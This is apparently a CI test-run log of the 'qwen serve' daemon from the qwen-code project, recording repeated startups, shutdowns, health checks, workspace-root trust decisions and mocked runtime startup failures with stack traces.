2026-09-11T23:07:09.338Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-secondary-env-reload-api6ge/primary secondary= daemon workspace roots initialized
qwen serve: reload failed: secondaryBridge.invokeWorkspaceCommand is not a function
2026-09-11T23:07:09.407Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:39487 (mode=http-bridge, workspace=/tmp/qws-restored-workspace-7YVXfW/primary)
qwen serve listening on http://127.0.0.1:42261 (mode=http-bridge, workspace=/tmp/qws-restored-read-error-aLRvqK/primary)
qwen serve listening on http://127.0.0.1:44023 (mode=http-bridge, workspace=/tmp/qws-restored-limit-GXCKa4/explicit-0)
qwen serve: daemon log → /tmp/qws-runtime-roots-B8RWqg/debug/daemon/daemon.log
2026-09-11T23:07:11.108Z [WARN] [DAEMON] workspace=/tmp/qws-runtime-roots-B8RWqg/untrusted-secondary excluding untrusted secondary workspace root from file-system access
2026-09-11T23:07:11.110Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-roots-B8RWqg/primary secondary=/tmp/qws-runtime-roots-B8RWqg/trusted-secondary daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36229 (mode=http-bridge, workspace=/tmp/qws-runtime-roots-B8RWqg/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-roots-B8RWqg/primary"
qwen serve: startup timing: processToListenMs=112623 runQwenServeToListenMs=265
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:11.207Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-roots-bvwxMQ/debug/daemon/daemon.log
2026-09-11T23:07:11.349Z [WARN] [DAEMON] workspace=/tmp/qws-runtime-roots-bvwxMQ/parent excluding untrusted secondary workspace root from file-system access
2026-09-11T23:07:11.355Z [INFO] [DAEMON] ideEnvPresent=true primary=/tmp/qws-runtime-roots-bvwxMQ/primary secondary=/tmp/qws-runtime-roots-bvwxMQ/parent/trusted-child daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45659 (mode=http-bridge, workspace=/tmp/qws-runtime-roots-bvwxMQ/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-roots-bvwxMQ/primary"
qwen serve: startup timing: processToListenMs=112810 runQwenServeToListenMs=87
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:11.400Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-roots-p2DACq/debug/daemon/daemon.log
2026-09-11T23:07:11.529Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-roots-p2DACq/primary secondary=/tmp/qws-runtime-roots-p2DACq/secondary daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43425 (mode=http-bridge, workspace=/tmp/qws-runtime-roots-p2DACq/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-roots-p2DACq/primary"
qwen serve: startup timing: processToListenMs=112987 runQwenServeToListenMs=73
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:11.568Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-roots-UttPT8/debug/daemon/daemon.log
qwen serve: could not read full settings for runtime startup (settings unavailable); falling back to defaults.
2026-09-11T23:07:11.695Z [WARN] [DAEMON] workspace=/tmp/qws-runtime-roots-UttPT8/secondary excluding untrusted secondary workspace root from file-system access
2026-09-11T23:07:11.700Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-roots-UttPT8/primary secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:39293 (mode=http-bridge, workspace=/tmp/qws-runtime-roots-UttPT8/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-roots-UttPT8/primary"
qwen serve: startup timing: processToListenMs=113157 runQwenServeToListenMs=80
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:11.732Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: https://example.com
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43887 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-sP5a1O)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-sP5a1O"
qwen serve: startup timing: processToListenMs=113309 runQwenServeToListenMs=86
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:11.924Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-sP5a1O secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:11.953Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:12.182Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:41695 (mode=http-bridge, workspace=/tmp/qws-runtime-starting-route-yHzQLC)
qwen serve: bound to workspace "/tmp/qws-runtime-starting-route-yHzQLC"
qwen serve: startup timing: processToListenMs=114087 runQwenServeToListenMs=51
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:12.797Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-starting-route-yHzQLC secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:07:13.032Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
at waitForRuntimeStartingForShutdown (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1382:3)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6651:17
2026-09-11T23:07:13.046Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-starting-caps-CDkyIk/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43265 (mode=http-bridge, workspace=/tmp/qws-runtime-starting-caps-CDkyIk/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-starting-caps-CDkyIk/primary"
qwen serve: startup timing: processToListenMs=114596 runQwenServeToListenMs=45
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:13.269Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-starting-caps-CDkyIk/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:13.506Z [INFO] [DAEMON] route=GET /capabilities durationMs=30 status=200 request completed
2026-09-11T23:07:13.534Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-health-first-6VzbWL/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38749 (mode=http-bridge, workspace=/tmp/qws-health-first-6VzbWL)
qwen serve: bound to workspace "/tmp/qws-health-first-6VzbWL"
qwen serve: startup timing: processToListenMs=115093 runQwenServeToListenMs=56
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:13.661Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:13.964Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:14.017Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:14.044Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-first-6VzbWL secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:14.251Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:46397 (mode=http-bridge, workspace=/tmp/qws-health-deep-first-DcJThR)
qwen serve: bound to workspace "/tmp/qws-health-deep-first-DcJThR"
qwen serve: startup timing: processToListenMs=115826 runQwenServeToListenMs=44
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:14.392Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:14.619Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:14.857Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:14.996Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-deep-first-DcJThR secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:15.492Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:41417 (mode=http-bridge, workspace=/tmp/qws-health-dedupe-mTc8OW)
qwen serve: bound to workspace "/tmp/qws-health-dedupe-mTc8OW"
qwen serve: startup timing: processToListenMs=117196 runQwenServeToListenMs=124
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:15.764Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:15.885Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:15.937Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:15.964Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-dedupe-mTc8OW secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:16.200Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:39233 (mode=http-bridge, workspace=/tmp/qws-runtime-route-start-FDIfnD)
qwen serve: bound to workspace "/tmp/qws-runtime-route-start-FDIfnD"
qwen serve: startup timing: processToListenMs=117747 runQwenServeToListenMs=35
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:16.313Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:16.563Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-route-start-FDIfnD secondary= daemon workspace roots initialized
2026-09-11T23:07:16.679Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38803 (mode=http-bridge, workspace=/tmp/qws-runtime-route-auth-z7rui6)
qwen serve: bound to workspace "/tmp/qws-runtime-route-auth-z7rui6"
qwen serve: startup timing: processToListenMs=118231 runQwenServeToListenMs=47
2026-09-11T23:07:16.796Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:16.910Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-route-auth-z7rui6 secondary= daemon workspace roots initialized
2026-09-11T23:07:16.968Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:34567 (mode=http-bridge, workspace=/tmp/qws-runtime-webhook-start-q2gDBZ)
qwen serve: bound to workspace "/tmp/qws-runtime-webhook-start-q2gDBZ"
qwen serve: startup timing: processToListenMs=118712 runQwenServeToListenMs=226
2026-09-11T23:07:17.367Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:17.539Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-webhook-start-q2gDBZ secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:18.902Z [INFO] [DAEMON] channelName=dingtalk-main eventType=ci_failed source="github ci" targetRef=default channel webhook task accepted
2026-09-11T23:07:18.942Z [INFO] [DAEMON] route=POST /channels/dingtalk-main/webhooks/github%20ci durationMs=103 status=202 request completed
2026-09-11T23:07:18.955Z [WARN] [DAEMON] maxMs=1433.403391 daemon event loop stall detected
2026-09-11T23:07:19.118Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:35359 (mode=http-bridge, workspace=/tmp/qws-runtime-webhook-auth-d7vhAs)
qwen serve listening on http://127.0.0.1:34599 (mode=http-bridge, workspace=/tmp/qws-runtime-webhook-log-IB1cqz)
qwen serve: --allow-origin: http://localhost:5173
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:33639 (mode=http-bridge, workspace=/tmp/qws-runtime-preflight-lYOXc7)
qwen serve: bound to workspace "/tmp/qws-runtime-preflight-lYOXc7"
qwen serve: startup timing: processToListenMs=121591 runQwenServeToListenMs=61
2026-09-11T23:07:20.157Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:20.302Z [INFO] [DAEMON] deferred runtime: cancelled, server closed before startup
2026-09-11T23:07:20.308Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:41149 (mode=http-bridge, workspace=/tmp/qws-bootstrap-method-ZqKt6N)
qwen serve: bound to workspace "/tmp/qws-bootstrap-method-ZqKt6N"
qwen serve: startup timing: processToListenMs=122227 runQwenServeToListenMs=334
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:20.798Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:21.056Z [INFO] [DAEMON] deferred runtime: cancelled, server closed before startup
2026-09-11T23:07:21.074Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44923 (mode=http-bridge, workspace=/tmp/qws-bootstrap-trailing-zcEIFR)
qwen serve: bound to workspace "/tmp/qws-bootstrap-trailing-zcEIFR"
qwen serve: startup timing: processToListenMs=122712 runQwenServeToListenMs=40
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:21.277Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:21.340Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:21.364Z [INFO] [DAEMON] deferred runtime: cancelled, server closed before startup
2026-09-11T23:07:21.371Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35523 (mode=http-bridge, workspace=/tmp/qws-runtime-route-fail-Z7K3qi)
qwen serve: bound to workspace "/tmp/qws-runtime-route-fail-Z7K3qi"
qwen serve: startup timing: processToListenMs=122920 runQwenServeToListenMs=41
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:21.494Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:21.663Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-route-fail-Z7K3qi secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:21.703Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:5502:15)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:21.753Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:39015 (mode=http-bridge, workspace=/tmp/qws-health-fallback-jaLa4c)
qwen serve: bound to workspace "/tmp/qws-health-fallback-jaLa4c"
qwen serve: startup timing: processToListenMs=123316 runQwenServeToListenMs=44
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:21.883Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:22.887Z [INFO] [DAEMON] deferred runtime: fallback timer fired, starting
2026-09-11T23:07:22.943Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-fallback-jaLa4c secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:23.382Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-health-close-2e3Xd8/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:46207 (mode=http-bridge, workspace=/tmp/qws-health-close-2e3Xd8)
qwen serve: bound to workspace "/tmp/qws-health-close-2e3Xd8"
qwen serve: startup timing: processToListenMs=124936 runQwenServeToListenMs=49
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:23.501Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:23.504Z [INFO] [DAEMON] deferred runtime: cancelled, server closed before startup
2026-09-11T23:07:23.507Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38951 (mode=http-bridge, workspace=/tmp/qws-health-close-after-vKmGb3)
qwen serve: bound to workspace "/tmp/qws-health-close-after-vKmGb3"
qwen serve: startup timing: processToListenMs=126162 runQwenServeToListenMs=44
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:24.728Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:24.772Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:24.795Z [INFO] [DAEMON] deferred runtime: cancelled, server closed before startup
2026-09-11T23:07:24.801Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43817 (mode=http-bridge, workspace=/tmp/qws-health-reconciler-close-PL5nzy)
qwen serve: bound to workspace "/tmp/qws-health-reconciler-close-PL5nzy"
qwen serve: startup timing: processToListenMs=126487 runQwenServeToListenMs=66
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:25.056Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:25.127Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:25.181Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:25.209Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-reconciler-close-PL5nzy secondary= daemon workspace roots initialized
2026-09-11T23:07:25.248Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:40367 (mode=http-bridge, workspace=/tmp/qws-maintenance-drain-8w1WSi)
qwen serve: bound to workspace "/tmp/qws-maintenance-drain-8w1WSi"
qwen serve: startup timing: processToListenMs=126821 runQwenServeToListenMs=44
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:25.726Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-maintenance-drain-8w1WSi secondary= daemon workspace roots initialized
2026-09-11T23:07:25.975Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35423 (mode=http-bridge, workspace=/tmp/qws-health-close-running-i37Lo9)
qwen serve: bound to workspace "/tmp/qws-health-close-running-i37Lo9"
qwen serve: startup timing: processToListenMs=127695 runQwenServeToListenMs=145
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:26.265Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:26.481Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:26.554Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:26.609Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-close-running-i37Lo9 secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:07:26.884Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
at waitForRuntimeStartingForShutdown (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1382:3)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6651:17
2026-09-11T23:07:26.924Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:36229 (mode=http-bridge, workspace=/tmp/qws-health-close-late-app-5TfRiH)
qwen serve: bound to workspace "/tmp/qws-health-close-late-app-5TfRiH"
qwen serve: startup timing: processToListenMs=128560 runQwenServeToListenMs=40
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:27.128Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:27.184Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:27.236Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:27.294Z [WARN] [DAEMON] 5000ms runtime-startup wait reached during shutdown; continuing listener close
2026-09-11T23:07:27.300Z [INFO] [DAEMON] daemon stopped
2026-09-11T23:07:27.324Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-close-late-app-5TfRiH secondary= daemon workspace roots initialized
2026-09-11T23:07:27.365Z [WARN] [DAEMON] scheduled-task keepalive dispose error: keepalive dispose failed
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:07:27.371Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:33849 (mode=http-bridge, workspace=/tmp/qws-health-fail-once-TTr8qP)
qwen serve: bound to workspace "/tmp/qws-health-fail-once-TTr8qP"
qwen serve: startup timing: processToListenMs=128925 runQwenServeToListenMs=44
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:27.491Z [INFO] [DAEMON] deferred runtime: scheduling fallback start in 1000ms
2026-09-11T23:07:27.536Z [INFO] [DAEMON] deferred runtime: health served, scheduling start in 50ms
2026-09-11T23:07:27.589Z [INFO] [DAEMON] deferred runtime: health timer fired, starting
2026-09-11T23:07:27.626Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-health-fail-once-TTr8qP secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:27.645Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:5950:15)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:27.797Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-fail-log-7xQxCC/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38273 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-log-7xQxCC)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-log-7xQxCC"
qwen serve: startup timing: processToListenMs=129352 runQwenServeToListenMs=50
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:27.949Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-log-7xQxCC secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:27.977Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:5996:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:27.987Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45487 (mode=http-bridge, workspace=/tmp/qws-runtime-flush-pending-HeAJz3)
qwen serve: bound to workspace "/tmp/qws-runtime-flush-pending-HeAJz3"
qwen serve: startup timing: processToListenMs=129689 runQwenServeToListenMs=48
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:28.290Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-flush-pending-HeAJz3 secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:28.455Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43191 (mode=http-bridge, workspace=/tmp/qws-runtime-queue-wait-LOPncN)
qwen serve: bound to workspace "/tmp/qws-runtime-queue-wait-LOPncN"
qwen serve: startup timing: processToListenMs=130022 runQwenServeToListenMs=46
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:28.608Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-queue-wait-LOPncN secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:28.838Z [INFO] [DAEMON] route=GET /daemon/status durationMs=55 status=200 request completed
2026-09-11T23:07:28.875Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:32833 (mode=http-bridge, workspace=/tmp/qws-runtime-timeout-gqy9T0)
qwen serve: bound to workspace "/tmp/qws-runtime-timeout-gqy9T0"
qwen serve: startup timing: processToListenMs=130435 runQwenServeToListenMs=43
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: runtime startup failed: Daemon runtime startup timed out after 1ms.
2026-09-11T23:07:29.012Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime startup timed out after 1ms.
at Timeout. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6123:13)
at listOnTimeout (node:internal/timers:685:17)
at processTimers (node:internal/timers:618:7)
2026-09-11T23:07:29.584Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-timeout-gqy9T0 secondary= daemon workspace roots initialized
2026-09-11T23:07:29.990Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log disabled — init failed: ENOTDIR: not a directory, lstat '/tmp/qws-runtime-fail-vJmWSu/blocked-log-base/daemon'
qwen serve: daemon log → (disabled)
qwen serve listening on http://127.0.0.1:42125 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-vJmWSu)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-vJmWSu"
qwen serve: startup timing: processToListenMs=131697 runQwenServeToListenMs=110
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:30.333Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-vJmWSu secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:30.356Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:6253:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
